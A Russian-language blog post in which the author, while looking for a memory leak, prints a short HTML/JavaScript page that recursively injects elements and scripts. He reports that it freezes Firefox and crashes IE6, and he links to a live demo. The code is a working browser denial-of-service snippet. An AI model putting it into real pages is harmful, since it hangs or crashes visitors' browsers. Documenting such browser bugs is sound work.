Бложек теперь на old.mrThe.name. Следите за обновлениями.

Искал утечку памяти в опере.. В итоге опера стабильно всё обрабатывает и останавливается после ~минуты лагов, а последний ФФ виснет намертво. Утечки памяти нету, но зависает браузер.. ИЕ 6 просто выпадает. Сам код:

<html> 
<body> 
<form name="a" > 
<div id="d"> 
<input type="button" id="add"><br><br> 
<img border='0' src='1.gif' onLoad='add();'> 
</div> 
</form> 
 
<script language="javascript"> 
function add(){ 
  div=document.getElementById("d"); 
  button=document.getElementById("add"); 
  newitem="<a target='_blank' "; 
  newitem+="href='http://mrthe.name/'>"; 
  newitem+="<img border='0' src='1.gif' onLoad='add();'></a>"; 
  newitem+="<scri"; 
  newitem+="pt>add();</sc";  
  newitem+="ript>"; 
  newnode=document.createElement("span"); 
  newnode.innerHTML=newitem; 
 
  div.insertBefore(newnode,button); 
  add(); 
} 
add(); 
</script> 
</body> 
</html>

По результатам из browsershots видно, что только опера,некоторые версии сафари, хром(похоже, что тоже не все версии) и старые версии фф обрабатывают скрипт без зависания.

Демо - http://mrthe.name/dos/

Похожие записи:

Один комментарий к “Зависание браузеров FF и IE”

  1. Ruslan Пишет:

    У меня Опера! Не зависл!

Оставить комменатрий: